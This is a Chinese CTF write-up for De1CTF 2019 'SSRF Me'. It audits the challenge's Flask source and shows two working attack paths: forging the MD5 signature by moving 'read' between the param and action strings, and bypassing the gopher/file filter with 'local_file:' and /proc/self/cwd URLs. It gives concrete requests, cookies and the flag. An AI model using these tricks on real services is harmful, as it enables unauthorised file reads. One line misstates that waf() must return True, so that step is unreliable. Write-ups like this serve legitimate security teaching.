WEB|[De1CTF 2019]SSRF Me
页面代码为python代码,题目提示为SSRF,并且flag is in ./flag.txt
格式化代码
#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if (not os.path.exists(self.sandbox)):
# SandBox For Remote_Addr os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
# generate Sign For Action Scan.
#
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if (waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt", "r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)
代码审计
代码中有三个路由
@app.route('/'),读取本地code.txt文件
@app.route("/geneSign", methods=['GET', 'POST']),根据param、action和secert_key参数调用getSign()方法计算出一个值sign
@app.route('/De1ta', methods=['GET', 'POST']),获取action、param、sign和ip参数调用Task.Exec方法,扫描本地并返回结果,可以利用这里读取flag.txt文件然后输出
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if (waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
访问/De1ta路径,传入cookies中action和sign,get方法中传入param,调用waf()函数
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
waf()函数将param参数值转换为小写,判断是否以gopher或file字符串开头,这里需要返回Ture,调用task.Exec()
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
......
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
task.Exec()中判断传入的Sign是否与getSign()计算出的Sign值相同
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
相同则,判断scan是否在action中,在则scan文件param,结果不为Connection Timeout则输出结果
所以这里需要解决的就是传入Sign值与计算的Sign值相同,并且param不以gopher或file字符串开头,action含有scan字符串。因为这里给出了Sign计算路径,且action判断用的是in,所以很好绕过,只要action含有scan字符串就行
if "scan" in self.action:
思路
访问/geneSign,param参数为flag.txtread,获取Sign
获取Sign:65f37c68d5eb8a857159d661f1817a15
Sign = secert_key + flag.txtread + scan
访问/De1ta,param参数为flag.txt,添加Cookie为action=readscan;sign=65f37c68d5eb8a857159d661f1817a15,sign为刚刚计算出的值
Sign = secert_key + flag.txt + readscan
flag{0eea8996-266f-4d36-970d-2e5406aba2e7}
方法二:文件包含
使用urllib.urlopen(param) 包含文件,可以直接填写文件路径./flag.txt
,也可以使用伪协议file:///app/flag.txt
,但是waf()禁止以file开头,可以使用local_file
,使用local_file时需要注意,路径必需为绝对路径,可以使用/proc/self/cwd/
代表当前路径
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
获取Sign
# file:///app/flag.txt
# local_file:flag.txt
# local-file:///proc/self/cwd/flag.txt
/geneSign?param=local_file:flag.txtread
627888ff16803e4bbc91c5f8113c8f9e
获取flag
/De1ta?param=local_file:flag.txt
cookie: action=readscan;sign=627888ff16803e4bbc91c5f8113c8f9e
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步